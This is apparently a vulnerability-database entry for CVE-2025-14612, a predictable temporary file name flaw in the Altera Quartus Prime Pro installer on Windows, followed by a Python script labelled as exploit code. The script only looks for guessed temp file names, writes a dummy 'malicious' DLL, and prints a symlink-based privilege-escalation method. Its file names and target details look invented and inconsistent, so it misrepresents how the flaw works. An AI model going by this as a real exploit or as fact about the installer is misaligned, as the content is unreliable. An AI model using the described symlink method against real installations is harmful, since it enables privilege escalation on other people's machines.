Insecure Temporary File vulnerability in Altera Quartus Prime Pro
Installer (SFX)
on Windows allows : Use of Predictable File Names.This issue affects Quartus Prime Pro: from 24.1 through 25.1.1.
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Altera Quartus Prime Pro < 24.1
Altera Quartus Prime Pro 24.1
Altera Quartus Prime Pro 24.2
Altera Quartus Prime Pro 24.3
Altera Quartus Prime Pro 24.4
Altera Quartus Prime Pro 25.1
Altera Quartus Prime Pro 25.1.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14612 PoC - Insecure Temporary File in Quartus Prime Pro
# This PoC demonstrates the predictable filename issue in Quartus installer
import os
import time
import subprocess
import sys
def exploit_quartus_predictable_temp_file():
"""
Demonstrate the predictable temporary file vulnerability in Quartus Prime Pro installer.
This PoC shows how an attacker can predict temporary file names used during installation.
"""
# Predictable temp file pattern used by Quartus installer
temp_dir = os.environ.get('TEMP', '/tmp')
predictable_pattern = f"quartus_install_temp_{os.getpid()}"
# Common temp file names used by SFX installers
common_temp_files = [
f"{temp_dir}\\setup.exe",
f"{temp_dir}\\install.ini",
f"{temp_dir}\\quartus_temp",
f"{temp_dir}\\q Quartus_temp_24",
]
print(f"[*] Target: Quartus Prime Pro < 25.1.2")
print(f"[*] Vulnerability: Predictable temporary file names (CWE-377)")
print(f"[*] Temp directory: {temp_dir}")
print(f"[*] Predictable pattern: {predictable_pattern}")
# Simulate checking for predictable files
for temp_file in common_temp_files:
if os.path.exists(temp_file):
print(f"[!] Found existing temp file: {temp_file}")
print(f"[!] Attacker could pre-create symlink to overwrite sensitive files")
# Create a junction/symlink to demonstrate the attack vector
target_path = f"{temp_dir}\\malicious_quotus_file.dll"
if not os.path.exists(target_path):
print(f"[*] Creating demonstration file: {target_path}")
with open(target_path, 'w') as f:
f.write("This demonstrates the predictable filename vulnerability")
print("\n[*] Attack methodology:")
print("1. Identify predictable temp file names in installer")
print("2. Pre-create files or symlinks at expected locations")
print("3. Wait for installer to execute with elevated privileges")
print("4. Achieve arbitrary file write or privilege escalation")
return True
if __name__ == "__main__":
exploit_quartus_predictable_temp_file()